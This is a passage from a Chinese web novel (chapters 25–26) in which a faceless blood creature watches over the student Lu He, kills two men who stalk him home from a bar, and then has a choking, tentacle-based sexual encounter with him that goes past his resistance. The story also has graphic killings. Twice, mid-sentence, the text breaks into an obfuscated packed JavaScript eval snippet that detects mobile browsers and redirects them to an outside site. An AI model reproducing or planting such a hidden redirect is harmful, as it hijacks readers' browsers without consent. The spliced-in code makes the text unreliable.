而此时此刻,陆山刚刚说话时的表情和神态,甚至是话里的每一个字,此刻都像是一根又一根尖锐的针,一点一点地扎在陆禾的心底。 扎破他好不容易小心翼翼藏起来的唯余一点的温情,和那摇摇欲坠如一丝烛火般的希望。 陆禾想笑。 但是他却控制不住地流泪。 一边失控一般地流着泪,陆禾一边安慰自己似地想:没关系,哭吧,哭累了就能睡着了。 就像小时候一样。 不知道过了多久,哭声渐渐平息,变为了并不平稳的睡眠呼吸声。 清秀纤瘦的手从被沿边伸出来,掌心被指甲掐出了用力过度的月牙痕,但即使是睡着了,那只手也在无意识地摸索着,想要抓到什么,获得一点安全感。 怀里被塞进了一只熊猫团子。 睡着的陆禾抱住了软绵绵的玩偶,整个人的呼吸都平静了下来。 他的双臂将熊猫团子抱得很紧,直到半张脸都埋进了蓬松的绒毛里,才真正平静安稳地睡去。 浑身布满了扭曲了形状的吸盘的血人,趴在墙边用空洞洞的眼睛盯着床上的人看了许久,祂鲜红没有五官的脸,在某一刻突然裂开一条缝。 低沉的呢喃回荡在屋里。 “陆禾…不哭……” 25. 第 25 章 直到晨曦破开令人心底发沉的天边墨色,感受到陆禾的逐渐醒转,血人才缓缓退回了黑暗里,悄无声息地注视着房间里的人。 睡醒的陆禾平静了不少,至少表面上如此。 他洗漱完毕,背着包出了门。 而随着大门关闭,血色再度自墙壁上蔓延。 血人钻进了还留有陆禾体温的被窝里,将不成型的脸深深埋进被子里,吸了一口上面残留的气味。 血液有些沸腾。 祂触碰到一旁被陆禾安稳放好的熊猫团子,微微顿了一下。 血人歪了歪有些过分长的脖子。 祂将床头的熊猫团子提起来看了一眼。 然后毫不留情地丢到了地上。 “陆禾…”祂将脸埋进被子和枕头里,贪婪地汲取着布料上附着的味道,“陆禾啊……我的陆禾……” 直到一点也闻不到了,血人才缓缓放开了怀里的布料。 祂抬起自己的手。 回忆着在陆禾梦境里看到的场景,祂空洞洞的血目里闪过一道红光。 原本只有血肉没有皮肤,样子也扭曲不成形状的手臂,在这一刻,以一种肉眼可辨的速度迅速生长出了皮肤,五指逐渐分化变得修长有力。 属于人类的蜜色的小臂伸展,关节发出咔咔的清脆声响。 祂将手举到半空,做出半虚握着的动作。 似乎还不够圈着陆禾的脖子。 随着心念一动,手掌再度变大一圈。 这样,应该差不多了。 回忆着陆禾旖旎如稠蜜一般的瑰丽的梦,蜜色的皮肤迅速从血人的身体里生长出来。 很快,一个身材高大,肌肉结实的深肤色型男就站在了陆禾的宿舍里。 但没有五官。 陆禾喜欢什么样的脸? 这形态没有维持很久,很快,男人重新变回了一滩不成型的血肉。 祂好想快点见到陆禾啊。 可祂现在还太丑。 “快点吧…” 低沉的呢喃再度在屋内响起。 “陆禾…” “是我的陆禾……” “好想吃掉…我的陆禾……” * 天气越来越冷了,今早格外,像是一夜入冬了似的。 陆禾出门前,套上了好多年前攒下钱来买的羽绒服。 下楼的时候,他在思考如果把身上的羽绒服卖了换成棉衣能不能再回点血,但等出了门被刮骨刀似的冷风一吹,他很快就打消了这个念头。 冻病了得不偿失。 “陆学长。” 他才刚落座,光脑都还没打开,姜荷就先过来了。 “你家里人来找你了?” 陆禾有些惊讶,“你怎么知道?” 下意识地扫向后门,目光跟提着咖啡外卖回来的贺帆钊恰好迎面撞上。 行,他知道答案了。 “不过贺帆钊也够八卦的。”姜荷略带不满地看了一眼低头匆匆走过的人,“幸好陆学长你对他不感兴趣。” 陆禾启动光脑,绕过姜荷走到水池边。 边清洗试管和培养皿,他边轻轻嗯了一声,“嗯,他的确不是我的菜。” “他不配。”姜荷哼了一声,一点面子也不留。 她又蛐蛐了两句,关心道:“陆学长,你家里没有找你麻烦吧?” 陆禾刷洗试管的动作顿了顿。 “没什么大问题。” “那就好。”姜荷不疑有他,“如果有什么我能帮上忙的,陆学长不要客气。” 陆禾能感受到她真切的关心,感激地笑了笑。 “嗯,谢谢你。” “对啦。”姜荷将一个保温袋放到陆禾的桌子上,“我男朋友说要给上次的事情道歉,刚好今天是立冬,他包了饺子。” 原来今天是立冬,怪不得这么冷。 陆禾看着保温袋饭盒里码得整整齐齐,白白胖胖的饺子。 “替我谢谢他。” 姜荷又闲聊了两句,顺便请教了一下实验上的问题,就回去了。 陆禾早上没吃东西,临近中午的时候有些饿了。 拿微波炉把姜荷送的饺子加热,他站在走廊上吃午饭。 在走廊的时候,陆禾碰到了贺帆钊。 后者与他视线相触时明显顿了一下,不过没等陆禾反应过来,贺帆钊就率先低下了头,加快脚步与他擦肩而过。 陆禾失笑,把饭盒里的最后一个饺子塞进嘴里,转身进了实验室。 他也没什么波澜,反而觉得少了个麻烦。 将饭盒清洗、擦拭干净,放进实验室的器皿消毒柜开启杀菌模式。 陆禾回到座位上,略有些心不在焉。 立冬吃饺子是习俗。 陆家以前就很喜欢吃饺子。 遇上喜事、逢年过节、或者单纯地想不到吃什么,就会包饺子。 他和陆山抢着吃。 陆太太会笑着让他俩吃慢点小心烫,当只剩最后一个而两个小孩都想吃的时候,她会点着亲儿子的脑门说别抢,也不知道疼着点你弟弟。 这让陆禾养成了离开陆家后也不时会吃一顿饺子的习惯。 对他来说,这是一件很温馨很美好的事情。 但现在…… “当年就是把你当我小媳妇儿养的,要不是你跑了,现在你就是我老婆得伺候我,给我点钱花怎么了!” 陆山昨天说的话再次回荡在他的脑海里。 陆禾垂了垂眼。 自己走后陆家经历了什么,以至于陆山会变成这个样子,他无从得知。 但他真的已经不知道,现在的自己该怎么去看待这一直以来,悄悄地给他带来了无数次温暖的,内心记忆中的幸福。 * 因为立冬,今天实验室的同门走得格外早。 住得近的本地人回家和家里团聚,不回家的约了朋友一起,而姜荷这样有对象的,更是要出去过节吃饭了。 陆禾走得也很早,甚至不是最后一个。 跟往年留在实验室一直科研到晚上大相径庭的作风,让好多人都意外地看了过来。 几个女孩子一边笑嘻嘻地讨论着陆禾会不会要有男朋友了,一边挽着胳膊出了门。 贺帆钊起身的动作一顿,坐在原地握了握拳。 他猛地起身,一路跟了出去。 保持着跟陆禾一定的距离,贺帆钊双手插着兜,表情晦暗不明地盯着前方不远处的陆禾看。 今天早上姜荷跟陆禾说话的时候他看到了,自然也猜测到两人说了什么。 但贺帆钊觉得自己并不是故意要传陆禾八卦的。 不少人都知道他有追陆禾的心思,但他从来不知道陆禾的真实家境会隐含那么多麻烦……现在知道了,总得问问别人的意见吧? 贺帆钊想着抬起头,看见陆禾走出校门,拐进了一个小巷里。 他跟上去往巷子里探头看,心下一震。 陆禾进了一家酒吧。 莫非真的像别人说的,陆禾跟谁看对眼,晚上约在这里? 日渐西沉,月出东山,但这巷子却又窄又阴暗。 偶尔有几人出来,不论男女,要么叼着烟,要么露着大片的花臂纹身。 怎么看都跟陆禾的气质很是格格不入。 “刚刚进去那个男的,看到没。” “小兔儿似的,嫩得能掐出水来……” 旁边路过两个混混似的男人,嘴里聊着的对象一听就知道是谁。 贺帆钊心下一急,也不管会不会暴露了,直接掀起门帘,跟了进去。 酒吧内,陆禾甫一推门,就被昏暗阴沉的光线和闷不透风的环境给劝退了些许。 他只是搜到这是首都大学附近的酒吧里最便宜的一家,但却没想到环境差成了这个样子。 屋内有人抽烟,有人光着膀子,有人大喊大叫,甚至有人在角落里打架。 角落的洗手间里人影憧憧,单个隔间里甚至有两三个人,传来阵阵声响。 陆禾蹙了蹙眉,想要换一家店。 但打开光脑搜附近的酒吧,他直接被三四倍的价格给沉默了。 “喂,别挡路啊…哟!嗬,还是个小美人。” 一个语调猥琐的声音在背后响起,陆禾感觉自己的腰背被狠狠撞……或者说蹭了一下。 他转头看到一个高壮得像座山的胖子,嘴里还镶了颗金牙,正眯着眼睛朝自己笑着。 旁边一个也比陆禾高一些的瘦子吐了口烟,“嚯,小朋友一个人来啊?” 两人的语气神态让陆禾非常不舒服,他没有搭话。 恰好有服务员来接待,陆禾说要一个单人位,便跟着服务生离开了。 陆禾挑了个相对清净点的位置坐下,他翻了下菜单。 虽然这家酒吧打的是便宜的旗号,但只是相对而言,实际上这里大部分酒的消费,都不在陆禾的预算内。 他翻了好一会,点了杯度数不高的基础款鸡尾酒。 “就这个吗?”服务员一挑眉。 见陆禾点头,染着黄毛的男生翻了个白眼,将他手里的菜单抽走,“等一会就来。” 陆禾也不在意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14162691|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他来这里的本意是尝试一下买醉,看看能不能用除了…以外的方式消解一下烦恼。 心思刚落,就听隔壁桌一阵动静,抬起头,就见说话的是刚刚那个撞了他一下的胖子,正朝着他笑。 陆禾沉默了一下。 看这里的环境,等酒上来后,他喝完还是快些离开比较好。 但不知为什么,明明陆禾点的早,东西少。 但隔壁的东西都上齐了,他的鸡尾酒还没到。 陆禾问了一句,就被那个男服务生怼了回来。 “急什么,鸡尾酒不用调啊!” 陆禾确实不知道鸡尾酒要不要调。 他又默默坐了回去。 再等了十分钟,他的鸡尾酒终于被送上来了。 陆禾喝了一口,冰凉的,水果味,有些辣。 因为不参加聚会,也没有饮酒的习惯,他很少很少喝酒,所以也不知道菜单上的中度数对他这个菜鸟来说,实在是有些过了。 “小美人,一个人来啊?” 旁边的胖子跟陆禾搭话,眼睛在他空荡荡的桌子上扫过,又去扫他空荡荡的领口。 “跟哥哥们一起喝点呗。” 瘦子也说:“来啊,不收你钱,哥哥们请你吃好东西。” 两人对视一眼,发出猥琐的大笑声。 陆禾根本听不懂他们再说什么,但本能地觉得不适,而刚喝下去的酒此时劲儿也反上来了,酒精带来的热度和眩晕感直接冲到脑门。 这酒好像比他想的要烈一点。 陆禾皱了皱眉,觉得脑袋有些晕,若非他一直坐在原地,甚至都要怀疑自己的酒是不是被下了什么东西。 他不知道的是,他点的这杯鸡尾酒虽然调之后的度数不高,但本身是用非常烈的浓缩烈性酒调制的,哪怕用果汁和气泡水冲淡了不少,但酒量不好的喝两三口就会开始上头。 就像他现在这样。 但尽管大脑被酒精弄得发晕。 陆禾依旧清晰,甚至更加敏锐地捕捉到了旁边那桌两人的不怀好意。 也因此诞生了更强的求生欲。 他要跑! 陆禾无视了身边随着对方两人也开始喝上头,越来越频繁地传来的不雅话语。 他瞅准胖子和瘦子都去上洗手间的时机,赶紧起身结了账,舍掉了剩下大半杯对他来说价格昂贵的鸡尾酒,立刻出了门。 他前脚刚走,后脚那瘦子就提着腰带出来了。 将情况跟慢了半步的胖高个一说,后者直接当众大吼了一声:“操!让那小兔崽子跑了!” 两人怒不可遏时,一个声音从旁边传来。 “两位老板。” 男服务员扭着腰走了过来,朝两人眨了眨眼睛,指了个方向。 “他往那边去了。” 胖高个和瘦子早已被酒精冲昏了头脑,加上他俩本身也不是什么好人,根本不在乎自己的行为是在违法犯罪。 他们转身欲追,又被男服务生拉住。 看着对方充满暗示意味地搓了搓手指,胖高个直接甩了两张钞票就出了门。 而与此同时,瘦子眯着眼睛,伸手拦住了低着头从旁边经过,准备先一步给陆禾报信的贺帆钊。 贺帆钊不知道对方是怎么发现自己的,他明明一直都躲在角落里没有动作。 但瘦子却毫不掩饰地警告了他一句。 “憋坏我们哥俩好事。”他伸手,点了点贺帆钊的胸口,“否则……” 瘦子做了个抹脖子的动作,冲着不住点头表示自己会老实的贺帆钊说了句:“滚!” 贺帆钊忙不迭地跑了。 他也真的没有打算再联系陆禾。 毕竟人各有命。 他觉得还是自己的命更重要。 而与此同时,将两张面额不小的钞票揣入囊中的男服务生哼着小曲儿往洗手间走去。 他的表情自然,没有一丝害了人的愧疚,显然不是第一次做这种事了。 酒吧的工资才多少点,他总得找点别的门路开源吧。 脚步晃悠悠,带着点得意地进了隔间。 直到什么顺着隔板下方的缝隙滚了出来,人群之中不知谁率先辨认出,那是一颗眼珠。 撕心裂肺的尖叫几乎掀翻了屋顶,整个酒吧彻底乱作一团, 与此同时,一道红色的身影从黑暗中钻出了大门。 伴随着一阵夹杂着愤怒的“嗬嗬”声。 那是祂的陆禾。 这些人类,怎么敢…… 祂不想再等了。 一刻也不想等了。 26. 第 26 章 黑漆漆的小巷,在此刻显得格外漫长。 陆禾忍着酒精带来的晕眩感,扶着粗糙的弄墙走到路口。 明晃晃的路灯光洒落的那一刻,陆禾揪着的心脏终于回落了半程。 但他还是没有放下心来,而是依旧迅速地回到了学校,一路往宿舍赶。 今晚的首都大学校园里似乎格外多人。 但过度紧张和彻底喝醉了的陆禾,并没有空余的精力去思考。 他一路经过教学楼、学院楼,最终回到宿舍区。 看到房间门的那一刹那,陆禾第一次觉得,自己的宿舍是这么有安全感。 钥匙没入锁孔,他拧动门栓,进门,在陆禾转身想要将门合上的时候。 一只肥胖油腻的大手,抓住了门框。 “小美人儿,跑挺快啊。” 两张充满酒气的脸堆着猥琐的笑意往门里面挤,寒意一下凉到了陆禾心里,透彻骨髓。 他用力推着门板,但人本就瘦弱。 何况外面任何一个人单独拎出来,都要比他的力气大。 胖高个和瘦子也没有要立刻闯进去的意思,他们坏事做多了,就喜欢看受害者从挣扎到绝望的过程。 陆禾的反抗,在他们看来就像一只无助柔弱的小野猫,叫得再大声闹得再厉害,也无法不能阻止他们一分一毫。 胖高个望着陆禾在酒精和过度用力下胀红的小脸,手掌撑着门缓缓往里推开。 看着惊恐和绝望宛如涨潮的海水一般爬上了陆禾的脸,将那小脸冲刷得煞白,胖高个愈发兴奋。 瘦子在旁边抱着胳膊看,不时用语言刺激陆禾。 “不要反抗了小美人,好好享受吧,哥哥疼你们。” 没有人注意到陆禾身后的墙面上,在不知不觉时,爬满了猩红的血色。 大门最终还是被推开了。 陆禾脚步慌乱地向后退,想要抓什么砸过去。 但腿弯先一步碰到了床沿,他脚底一软,整个人摔倒在床上。 “嗬,小美人还挺主动。”胖高个伸手摸上自己的腰带。 身旁的人拍了他两下。 胖高个没管,继续向前,但才迈出步子,胳膊又被人拽住了。 “你他妈干吗!”胖高个朝同伴吼了一声,吼完才发现,瘦子的表情不对劲。 瘦子抬着头张大了嘴,望着前方,视线的方向像是看着陆禾,但又不像是陆禾。 “哥,那,那是什么……” 瘦子抬起手的时候,发现自己的手指是哆嗦的,别说手指了,连说话声音都在抖。 胖高个顺着他指的方向看去,然后整个人都跌坐到了地上。 一滩混着鲜血被机器绞碎了一般的烂肉,正从天花板高高地垂落下来,与天花板连接的地方像是一截倒挂的肢体,而倒吊下来的上半身扭曲着高高扬起。 弯曲拧了个旋的畸形脖子上,顶着一颗同样散发着刺鼻血腥味的头颅。 血人凹陷的眼眶里空洞洞的,细长的丝状血肉从里面长了出来,疯狂地挥舞着,像是无数双伸长了的手,要去抓着面前的两人。 “鬼…鬼……鬼啊!!” 瘦子尖叫一声,跟爬起来的胖高个转身就往外跑。 但动作僵硬在半途。 两人不约而同地低下了头。 尖锐如同钩爪一般的血手,自背后扎透了胸膛,从他们的心脏里穿出。 下一秒,原本还活生生的两个人就在眼皮底下被吸成了干尸。 血手抽了回来,两具干尸重重地砸在地面上,被扫到一旁。 半空中的那双血目缓缓转过来,盯着陆禾。 整个人被拦腰吊起,血红色的触手从背后延伸而出,就像往日那样缠上了陆禾的手、脚、腰和脖子。 “陆禾…我的陆禾……” 化纤布料的衣服再度暴露了材质的脆弱,血红与洁白调和,成了一幅夺目的画卷。 祂听着陆禾的闷哼,触手更加用力地撩拨着陆禾的舌根,贪婪地汲取着阔别已久的香甜味道。 祂几乎要疯狂。 祂现在很痛恨人类。 为什么,祂只是消失了几天,就有这么多人感觊觎祂的陆禾。 陆禾只能是祂的。 血人一想到这,浑身的丝状血肉就如同刺一般炸了开来。 祂身体扭曲变形,脖子更是在陆禾的背后饶了半圈,形成了一道防止猎物逃跑的阻拦,脑袋歪着,空洞洞的眼眶像血色的深渊,死死盯着怀里的人。 这次,祂不会再放陆禾离开了。 而陆禾被吊在半空中。 他出奇的平静。 平静到有些想哭。 而眼泪也就顺着眼角滑落下来了。 血人的嘴微微张开,一根分叉的细长舌头伸了出来,将眼角的泪舐去。 祂偏执地想着:陆禾是祂的,陆禾的泪水,也是祂的。 但当从泪水里品尝出心情与味道时,祂还是怔愣了一瞬。 触手在这一刻,再度猛地收紧。 力道几乎要勒断陆禾的骨头,大脑逐渐缺氧,眼前一阵发白。 而压到咽部的腕足,更是攻势凶猛。 陆禾的视觉已经被无法遏制的生·理·性泪水模糊,大脑也开始传达出生命危险的信号。 但他的意识里却想的是:再大力点吧。 只有这样,他才能感受到自己的存在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14174235|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 也只有这样,他才觉得是被占有,被在意着的。 胖高个和瘦子闯进门的那一瞬间,他绝望得都有些麻木了。 思维甚至开始了跑马灯,他回忆起了自己短暂的一生,突然觉得有些可笑。 家人的爱是假的,朋友的关心是假的,连出个门都总是被奇怪的人盯上。 陆禾甚至觉得自己像一只流浪的老鼠,不仅无家可归,而且到哪里都会遭受嫌弃,挨打受伤。 但现在,好像不是了。 终于有一个存在,不再嫌弃他是一只灰扑扑的小老鼠。 陆禾颤抖着伸出手臂,抱上了血人长得过分的脖子。 他抱住了祂。 * 次日。 天气微凉,阳光正好,校园里也很安静,很适合一觉睡到正午。 风拂起窗帘,带着点阳光进来。 陆禾躺在床上,醒来没多久,随着意识和感官的回笼,就忍不住“嘶”了一声。 他只是轻微动弹了一下,关节就疼得要命。 手腕、臂弯、脚踝、小腿……但凡是能留下痕迹的地方,没一个是空着的。 他揉着腰坐了起来,皮肤与睡裤的布料摩擦,轻微的刺痛感让他又抽了口凉气。 痛感带着昨夜的记忆回笼,陆禾回过神来,整个人瞬间红成了熟透的虾米。 昨天晚上他醉后情绪上头,没了理智。 实在是有些疯得过度了。 而陆禾的热情就像是火,自然而然地烧着了那早就燥得不行的柴。 但是,发生的事情还是超过了陆禾的想象。 他本以为触手帮他……已经够过分了。 怎么能,怎么还想,放进那里! 触手的黏液省了很多功夫,腕足尖端到后面[?曾]了几下,甚至已经半陷了进去。 要不是他昨晚抗拒得厉害,就真的被“祂”推进到最后一步了。 陆禾揉着被勒得皮肤有些红肿的脖子。 抬起头看到空空荡荡的天花板。 陆禾动作一顿。 但当他想要下床去其他地方找“祂”时,却感觉腰被什么东西牵扯了一下。 陆禾眨了眨眼睛。 感受到清晰的体温,以及另一道属于活物的呼吸,浅色的瞳孔渐渐放大。 陆禾低头。 一条蜜色肌肉有力的胳膊从被子里伸了出来。 正紧紧地搭在他的腰上。 蜜色与雪白,力量与柔弱的对比,在这一刻得到了最生动的诠释。 陆禾感受到力道的来源就是这条手臂。 而手臂上的肌肉青筋,正随着身后传来的阵阵呼吸,轻微地起伏。